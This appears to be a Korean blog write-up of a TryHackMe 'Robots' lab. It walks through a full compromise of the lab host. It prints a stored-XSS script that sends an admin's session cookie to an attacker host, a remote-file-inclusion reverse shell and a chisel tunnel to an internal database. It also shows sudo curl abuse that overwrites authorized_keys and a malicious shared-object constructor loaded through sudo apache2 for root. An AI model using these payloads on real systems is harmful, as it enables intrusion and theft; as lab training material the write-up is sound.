G2H

보안 리서치 · 레드팀/블루팀 · DFIR · Cloud · Tooling

최신 글 보기

최근에 작성된 글들을 확인해보세요.

Robots - TryHackMe

Pentest/Pentest
https://tryhackme.com/room/robots

 

Write Up

# Nmap 7.95 scan initiated Sun Oct 12 22:33:48 2025 as: /usr/lib/nmap/nmap --privileged -p- -sT -T4 --min-rate 4000 -sV -o nmap_result 10.10.8.237
Nmap scan report for 10.10.45.22
Host is up (0.40s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.61
9000/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
Service Info: Host: robots.thm

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 12 22:34:33 2025 -- 1 IP address (1 host up) scanned in 44.84 seconds

 

스캔 결과를 보게되면 80, 9000 번 포트로 웹 서비스가 동작중인 걸확인할 수 있으며, 1차접근의 가능성을 찾아보기 위해 접근할 수 있다.

80 번 포트로 접근시 권한이 존재하지않아 Forbidden 이 발생하는 걸 알 수 있다.

9000번 포트로 접근시 그저, 아파치가 동작중인것 외에는 별도의 힌트는 얻을 수 없이 다시 80번포트의 웹 서비스에서 

접근점을 찾기위해 돌아갔다.

Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self

80번 포트에서 /robots.txt 파일이 존재하고 있었으며, 3개의 경로가 노출되고 있음을 알 수 있다.

이중 /harm/to/self 경로로 접근하개되면 계정 생성과 생성된 계정을 통해 로그인을 할 수 있는 기능이 존재한다.

회원가입시 설명을 보게되면, 패스워드의 경우 md5(username+ddmm) 의 값을 사용한다고 하고 있으며,

관리자가 새로운 계정을 모니터링한다는 걸 알 수 있다.

 

이 때 계정명에 XSS 취약점이 발생한다면 관리자의 세션을 탈취할 수 있음을 추측할 수 있다.

하지만 HttpOnly가 설정되어 있어 document.cookie 로 세션쿠키 탈취는 불가능 하다.

좌측 상단 Server info 페이지가 별도로 존재하고 있는것을 확인할 수 있다.

해당 페이지에서 HTTP_COOKIE 값이 페이지상에서 노출되고 있음을 확인할 수 있으며,

이를통해 스크립트를 삽입하여 관리자가 해당 페이지를 읽게 만들어 해당 문자열의 값을 공격자의 서버로 전송하게끔 할 수 있다.

CSRF 가 가능하다.

└─$ cat xss_script.js
var url = "http://robots.thm/harm/to/self/server_info.php";
var attacker = "http://-------/cookie_value";
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var match = xhr.responseText.match(/PHPSESSID=([a-zA-Z0-9]+)/);
        if (match) {
            fetch(attacker + "?cookie=" + match[1]);
        }
    }
}

xhr.open('GET', url, true);
xhr.send(null);

위 코드와 같이 작성한 js 파일을 공격자의 서버에 저장 후 이를 요청할 수 있도록 서버를 오픈한 후

피해자가 공격자의 서버에서 해당 파일을 실행하게 하여 쿠키값을 탈취할 수 있다.

새롭게 회원가입을 진행하며 username을 <script src=http://<attacker_ip>/xss_script.js></script> 와 같이 작성하였다.

현재 새로 생성 한계정의 세션 값은 위 사진과 같지만

└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.45.22 - - [19/Oct/2025 18:18:08] "GET /xss_script.js HTTP/1.1" 200 -
10.4.85.76 - - [19/Oct/2025 18:18:08] "GET /xss_script.js HTTP/1.1" 304 -
10.10.45.22 - - [19/Oct/2025 18:18:09] code 404, message File not found
10.10.45.22 - - [19/Oct/2025 18:18:09] "GET /cookie_value?cookie=c9c40kn9li1qsg83ffkp9h31ba HTTP/1.1" 404 -
10.4.85.76 - - [19/Oct/2025 18:18:09] code 404, message File not found
10.4.85.76 - - [19/Oct/2025 18:18:09] "GET /cookie_value?cookie=6u0p0p0o0p9ffcg1i7e878722k HTTP/1.1" 404 -
10.10.45.22 - - [19/Oct/2025 18:18:38] code 404, message File not found
10.10.45.22 - - [19/Oct/2025 18:18:38] "GET /cookie_value?cookie=c9c40kn9li1qsg83ffkp9h31ba HTTP/1.1" 404 -

공격자 서버측에 열어놓은 서버를 보게되면 공격자와 다른 세션 쿠기값이 들어오고 있는것을 볼 수 있다.

즉, 관리자가 새로운 유저의 계정을 확인하고 CSRF가 동작한 것을 알 수 있다.

세션값을 변경하였을 때 여러 유저의 리스트가 보이는 것을 알 수 있다.

└─$ gobuster dir -u http://robots.thm/harm/to/self/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://robots.thm/harm/to/self/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 662]
/login.php            (Status: 200) [Size: 795]
/register.php         (Status: 200) [Size: 976]
/admin.php            (Status: 200) [Size: 370]
/css                  (Status: 301) [Size: 319] [--> http://robots.thm/harm/to/self/css/]

이후 새로운 관리자 권한으로 접근가능한 엔드포인트를 탐색중 admin.php 경로가 존재하다는 걸 확인했다.

특정 URL 을 테스트하는 기능인듯 하며, 이를통해 SSRF, RCE, LFI, RFI 등 다양한 취약점이 있는지 살펴보았다.

입력값을 넣어보면 incldue() 함수가 사용됨을 알 수 있다.

실제 /etc/passwd 와 같은 내부망 파일에 접근이 가능하였으며, url 입력을 보아

RFI 를 통한 RCE까지 가능하다는 것을 짐작할 수 있다.

Remote Connection 이 가능한 php 파일을 공격자 측에 심고, 포트를 열어두고 Reverse Connection을 맺을 수 있다.

성공적으로 쉘을 획득할 수 있다.

하지만 일부  제한된 쉘을 주어졌으며, 현재 타겟 시스템에는 Python이 존재하지 않아 별도로 쉘을 이어갔다.

└─$ nc -lvnp 5252
listening on [any] 5252 ...
connect to [10.4.85.76] from (UNKNOWN) [10.10.211.189] 57082
Linux robots.thm 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 GNU/Linux
 13:40:12 up 14 min,  0 user,  load average: 0.00, 0.04, 0.06
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$
$ script -qc /bin/bash /dev/null
www-data@robots:/$ ^Z
[1]+  Stopped                 nc -lvnp 5252

└─$ stty raw -echo; fg
nc -lvnp 5252
             id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@robots:/$ ls
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr
www-data@robots:/$ export TERM=xterm
www-data@robots:/$

이로서 www-data 쉘을 최종적으로 얻을 수 있다.

www-data@robots:/var/www/html/harm/to/self$ ls
admin.php   css        login.php   register.php
config.php  index.php  logout.php  server_info.php
www-data@robots:/var/www/html/harm/to/self$ cat config.php
<?php
    $servername = "db";
    $username = "robots";
    $password = "q4qCz1OflKvKwK4S";
    $dbname = "web";
// Get the current hostname
$currentHostname = $_SERVER['HTTP_HOST'];

// Define the desired hostname
$desiredHostname = 'robots.thm';

// Check if the current hostname does not match the desired hostname
if ($currentHostname !== $desiredHostname) {
    // Redirect to the desired hostname
    header("Location: http://$desiredHostname" . $_SERVER['REQUEST_URI']);
    exit();
}
ini_set('session.cookie_httponly', 1);

session_start();

?>

/var/www/html/harm/to/self 경로에 config.php 즉, 설정파일을 보게되면, db 계정정보가 고스란히 노출되고 있음을 확인할 수 있다.

www-data@robots:/var/www/html/harm/to/self$ cat login.php
<?php
include('config.php');

if ( isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true ) {
 header('Location: index.php');
 die();
}

$dsn="mysql:host=$servername;dbname=$dbname;charset=utf8mb4";

$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => true,
          ];

 

추가적으로 login.php에서 mysql로 동작중인 걸 확인했으며, 별도 mysql 명령어는 존재하지 않는것으로 보아

해당 호스트에서는 동작하지 mysql로 접근할 수 없는 것 같다.

www-data@robots:/var/www/html/harm/to/self$ cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3      robots.thm robots

현재 호스트에서 hosts 파일을 확인해봤을 때, 도메인과 매핑되어있는 내부망 IP를 확인할 수 있다.

현재 서버에서는 ping, arp 등 일부 명령어들이 존재하지 않기에 해당 대역대에 ping 로 확인해볼 수 도 없다.

이럴 때 위 config.php 파일에서 servername 이 db인 것을 확인했으니 getent host  를 통해 hostname이 db 로 된 호스트가 있을 경우 매핑된 ip를 확인해볼 수 있다.

www-data@robots:/var/www/html/harm/to/self$ getent hosts db
172.18.0.2      db

172,18.0.2 ip가 db 라는 호스트네임과 매핑되어 있음을 확인 했다.

이제 리모트 포트 포워딩을 통해 외부에서 내부망 안의 db에 접근해야한다.

┌──(g2h㉿g2h)-[~/thm/robots/chisel]
└─$ ./chisel server --port 52528 --reverse
2025/11/02 15:07:14 server: Reverse tunnelling enabled
2025/11/02 15:07:14 server: Fingerprint VriKfwBMqqaZDGYiM8DZyGqYXChXo0Yg7TZ4mDt2uPU=
2025/11/02 15:07:14 server: Listening on http://0.0.0.0:52528
2025/11/02 15:07:35 server: session#1: tun: proxy#R:3306=>172.18.0.2:3306: Listening

우선 공격자 서버에서 chisel 서버를 역방향리모트포워딩을 실행시킨다.

<hisel client 10.4.85.76:52528 R:3306:172.18.0.2:3306
2025/11/02 06:07:30 client: Connecting to ws://10.4.85.76:52528
2025/11/02 06:07:33 client: Connected (Latency 398.821534ms)

아휴 타겟 서버에서 chisel 클라이언트를 실행시키고 

공격자 서버 측에 열어놓은 서버로 포워딩 설정을 하게되면

공격자 측에 세션이 성립되면 연결이 된다.

┌──(g2h㉿g2h)-[~/thm/robots]
└─$ mysql -h 127.0.0.1 -u robots -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 89
Server version: 11.5.2-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

이후 성공적으로 mysql에 접근할 수 있게 된다.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| web                |
+--------------------+
2 rows in set (0.399 sec)

MariaDB [(none)]> use web;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [web]> show tables;
+---------------+
| Tables_in_web |
+---------------+
| logins        |
| users         |
+---------------+
2 rows in set (0.399 sec)

MariaDB [web]> select * from users;
+----+-------------------------------------------------------+----------------------------------+---------+
| id | username                                              | password                         | group   |
+----+-------------------------------------------------------+----------------------------------+---------+
|  1 | admin                                                 | 3e3d6c2d540d49b1a11cf74ac5a37233 | admin   |
|  2 | rgiskard                                              | dfb35334bf2a1338fa40e5fbb4ae4753 | nologin |
|  3 | <script src=http://10.4.85.76/xss_script.js></script> | b64da1ca9adbd2633c5c88326ce1f040 | guest   |
+----+-------------------------------------------------------+----------------------------------+---------+
3 rows in set (0.398 sec)

사용자 목록을 추출할 수 있지만 패스워드는 암호화 되어있다.

rgiskard 계정이 존재하며 해당 계정을 탈취해볼 수 있다.

패스워드의 암호화 방식은 md5(md5(username+ddmm)) 와 같이 되는걸 우리는 알고 있다.

이를 역으로 복호화 하는 파이썬 코드를 작성 하여 복호화 하면 패스워드를 얻을 수 있으며,

해당 계정정보로 SSH 접근이 가능하다.

┌──(g2h㉿g2h)-[~/thm/robots]
└─$ sudo ssh rgiskard@robots.thm
[sudo] password for g2h:
The authenticity of host 'robots.thm (10.10.145.85)' can't be established.
ED25519 key fingerprint is SHA256:JpR2XY5mhYUXMxSyJMTsGb1IMrerkDpl7EB+rhuiTNU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'robots.thm' (ED25519) to the list of known hosts.
rgiskard@robots.thm's password:
Permission denied, please try again.
rgiskard@robots.thm's password:
rgiskard@ubuntu-jammy:~$
rgiskard@ubuntu-jammy:/home$ ls -al
total 20
drwxr-xr-x  5 root     root     4096 Aug 19  2024 .
drwxr-xr-x 20 root     root     4096 Nov  2 04:26 ..
drwxr-x---  3 dolivaw  dolivaw  4096 Aug 19  2024 dolivaw
drwxr-x---  2 rgiskard rgiskard 4096 Aug 19  2024 rgiskard
drwxr-x---  5 vagrant  vagrant  4096 Aug 19  2024 vagrant

regiskard 계정에서는 유의미한 정보는 찾을 수 없으며

home 디렉터리를 보면 regiskard 을 제외한 2개의 추가 계정이 존재하는 걸 알 수 있다.

Matching Defaults entries for rgiskard on ubuntu-jammy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User rgiskard may run the following commands on ubuntu-jammy:
    (dolivaw) /usr/bin/curl 127.0.0.1/*

sudo 명령어에 대한 권한을 확인 해보면 

dolivaw 계정 권한으로 /usr/bin/curl 127.0.0.1/* 명령어를 실행 시킬 수 있다. 

그렇담 ssh-keygen을 통해 임의의 키파일을 생성해 dolivaw 계정으로 로그인 할 수 있다.

┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/g2h/.ssh/id_ed25519): id_rsa
Enter passphrase for "id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:9dK4+CDfcSSAkQb6NVZghdiiAGUcICoOAitpdJCK37M g2h@g2h
The key's randomart image is:
+--[ED25519 256]--+
|***o.++=o        |
|*=o.o.=+         |
|@o.. o= . .      |
|X .. o . o +     |
| o ..   S + +    |
|  . o    . =     |
|     o. o o .    |
|    E  o + o     |
|        . o      |
+----[SHA256]-----+

┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ls -l
-rw------- 1 g2h g2h  444 Nov  2 15:38 id_rsa
-rw-r--r-- 1 g2h g2h   89 Nov  2 15:38 id_rsa.pub


┌──(g2h㉿g2h)-[~/thm/robots]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

공격자 서버에서 임의 ssh 키 설정파일을 생성 후 서버를 열고 

희생자측에서 이를 가져와 덮어쓰기를 할 수 있다.

rgiskard@ubuntu-jammy:~$ sudo -u dolivaw /usr/bin/curl 127.0.0.1/ -o /dev/null http://------/id_rsa.pub -o /home/dolivaw/.ssh/authorized_keys
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   274  100   274    0     0  94809      0 --:--:-- --:--:-- --:--:--  133k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100    89  100    89    0     0    110      0 --:--:-- --:--:-- --:--:--   110

성공 적으로 불러온 것 같으니

공격자 서버측에서ssh 접근을 시도했다.

┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ssh -i id_rsa.pub dolivaw@robots.thm
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0755 for 'id_rsa.pub' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa.pub": bad permissions
dolivaw@robots.thm's password:


┌──(g2h㉿g2h)-[~/thm/robots]
└─$ ssh -i id_rsa dolivaw@robots.thm
Enter passphrase for key 'id_rsa':
dolivaw@ubuntu-jammy:~$

성공적으로 dolivaw 계정으로 접근할 수 있다.

Matching Defaults entries for dolivaw on ubuntu-jammy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dolivaw may run the following commands on ubuntu-jammy:
    (ALL) NOPASSWD: /usr/sbin/apache2

 dolivaw 계정에 부여된 sudo 명령어의 권한을 확인해보면

모든 권한으로 /usr/sbin/apache2 명령어를 실행시킬 수 있다.

<VirtualHost *:5599>
    LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
    DocumentRoot /var/www/html

    ErrorLog /tmp/error.log
    CustomLog /tmp/access.log combined

    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>

위와 같은 .conf 파일을 피해자 pc에 저장한다.

위 설정 파일을 통해 Apache2에서 5599번 포트로 동작하며 /var/www/html을 루트 디렉터리로 사용하는 가상호스트를 정의하고, mod_mpm_event 모듈을 로드한 뒤 모든 클라이언트 접근을 허용하고 로그를 /tmp 경로에 기록하는 설정한다'

#include <unistd.h>

__attribute__((constructor)) void spawn_shell() {
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
}

이후 공격자 서버에서 위 코드로 .c 파일을 생성하여

gcc -fPIC -shared -o shell.so shell.c 를 통해 컴파일 할 수 있다.

이를 통해 위코드가 .so 파일이 어떤 프로세스에 로드되면 즉시 해당 프로세스는 /bin/sh로 바뀌어 사용자가 쉘을 획득하거나 프로세스가 쉘을 획득하게 된다.

┌──(g2h㉿g2h)-[~/thm/robots]
└─$ gcc -fPIC -shared -o shell.so shell.c

┌──(g2h㉿g2h)-[~/thm/robots]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.145.85 - - [02/Nov/2025 15:57:47] "GET /shell.so HTTP/1.1" 200 -
dolivaw@ubuntu-jammy:/tmp$ sudo /usr/sbin/apache2 -f /tmp/test.conf -c 'LoadModule shell /tmp/shell.so' -k start
# id
uid=0(root) gid=0(root) groups=0(root)

성공적으로 root 권한을 획득할 수 있다.

'Pentest > Pentest' 카테고리의 다른 글

Reverse Dynamic Port Forwarding  (0) 2025.09.25
Dynamic Port Forwarding  (0) 2025.09.24
Remote Port Forwarding  (0) 2025.09.23
Local Port Forwarding  (0) 2025.09.22
[모의 해킹] - Metasploitable2 - FTP 취약점 (CVE-2011-2523)  (0) 2023.10.31